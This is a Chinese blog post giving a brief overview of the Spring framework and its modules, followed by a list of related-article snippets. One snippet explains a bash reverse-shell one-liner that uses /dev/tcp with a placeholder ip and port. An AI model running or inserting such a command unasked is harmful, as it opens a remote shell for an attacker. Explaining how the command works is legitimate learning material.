首页 > 其他分享 >讲一下什么是Spring

讲一下什么是Spring

时间:2024-05-23 09:22:10浏览次数:19  
标签:Web Java 框架 Spring 什么 ORM 一下 AOP

Spring是一个轻量级的IoC和AOP容器框架。是为Java应用程序提供基础性服务的一套框架,目的是 用于简化企业应用程序的开发,它使得开发者只需要关心业务需求。常见的配置方式有三种:基于 XML的配置、基于注解的配置、基于Java的配置。

主要由以下几个模块组成:

Spring Core:核心类库,提供IOC服务;

Spring Context:提供框架式的Bean访问方式,以及企业级功能(JNDI、定时任务等);

Spring AOP:AOP服务;

Spring DAO:对JDBC的抽象,简化了数据访问异常的处理;

Spring ORM:对现有的ORM框架的支持;

Spring Web:提供了基本的面向Web的综合特性,例如多方文件上传;

Spring MVC:提供面向Web应用的Model-View-Controller实现。

标签:Web,Java,框架,Spring,什么,ORM,一下,AOP
From: https://www.cnblogs.com/Stars-125/p/18207597

相关文章

  • Spring框架中都用到了哪些设计模式?
    这是一道相对有难度的题目,你不仅要回设计模式,还要知道每个设计模式在Spring中是如何使用的。简单工厂模式:Spring中的BeanFactory就是简单工厂模式的体现。根据传入一个唯一的标识来获得Bean对象,但是在传入参数后创建还是传入参数前创建,要根据具体情况来定。工厂模式:Spring......
  • 1.说说你了解过、使用过什么编程语言?比较他们的优势 2.说说你了解过,使用过什么编程工
    1.我了解过、使用过的编程语言有C语言,Java,C++。比较:①C语言是一种通用的高级编程语言,具有高效性和直接接近计算机硬件的能力,适合编写操作系统和嵌入式系统等低级应用。但C语言缺乏面向对象的支持,对于大型项目的复杂性处理有些力不从心。②Java是一种跨平台的面向对象编程语言,......
  • nc反弹以及中 &>、0>&1是什么意思
    1.简介本文结合一些参考文章以及作者个人理解解释Linux的bash反弹命令中的&>、0>&1观点有误,欢迎指出!目标讨论命令:bash-i>&/dev/tcp/ip/port0>&12.基本知识1.bashbash是什么?是一种shell。shell是什么?此处引用https://blog.csdn.net/weixin_42432281/article/detail......
  • 1.什么是模块化,为什么要模块化? 2.衡量模块化独立的定性标准是什么?用自己的话表达其含
    模块化是将一个系统划分为多个独立的模块或组件,每个模块负责处理系统的一部分功能或任务。模块化能够使代码结构更清晰、易于维护和扩展,提高代码的重用性和可读性。通过模块化,开发人员可以更加高效地协同工作,降低系统复杂度。衡量模块化独立的定性标准包括内聚性和耦合性。内......
  • Spring6日志
    JakartaCommonsLoggingAPI是一种Java日志记录抽象层,它允许开发者在运行时插入所需的日志框架,如Log4j、JavaUtilLogging、SLF4J等。该API提供了一个简单的日志记录接口,使得开发者无需关心底层使用的具体日志框架。使用JakartaCommonsLoggingAPI的好处包括:灵......
  • Spring Boot —— Spring Security
    引入依赖Springboot版本2.7.6<properties><java.version>1.8</java.version><project.build.sourceEncoding>UTF-8</project.build.sourceEncoding><project.reporting.outputEncoding>UTF-8</project.repo......
  • 【SpringBoot】服务停止数据源的关闭时机
    1 前言微服务中我们会用到数据源,数据源中其实就是管理我们的数据库连接,对于数据库而言,连接数是很珍贵的资源,所以释放无用或者长时间空闲的连接显得很重要。那么对于微服务比如我们的SpringBoot当服务启动的时候会初始化数据源,那么停止的时候,是如何关闭数据源,释放连接的呢?这......
  • 在springboot项目中,打包本地的外部jar包,到运行的jar包中
    1、配置依赖<dependency><groupId>com.genesyslab</groupId><artifactId>genesyslab</artifactId><version>1.0.0</version><scope>system</scope><systemPath>${project.basedir}/src/main/re......
  • 【瞎写】熊是什么颜色的?
    网上流传着一个这样的地理题:一个探险家在野外扎了顶帐篷,之后他往南走了10公里,往西走了10公里,再往北走了10公里后,发现有一头熊在撕扯他的帐篷。问这头熊是什么颜色的?答案大家都能猜到,探险家的帐篷在北极,因此这头熊是白色。这是因为,一般情况下,如果走的路径不是一个闭合的路线,是不......
  • springboot开启热部署
    一、依赖在SpringBoot中启用热部署通常涉及使用SpringBootDevTools依赖和配置。以下是如何在SpringBoot项目中启用热部署的步骤:在pom.xml中添加SpringBootDevTools依赖:<dependencies><!--其他依赖--><dependency><groupId>org.springframework.b......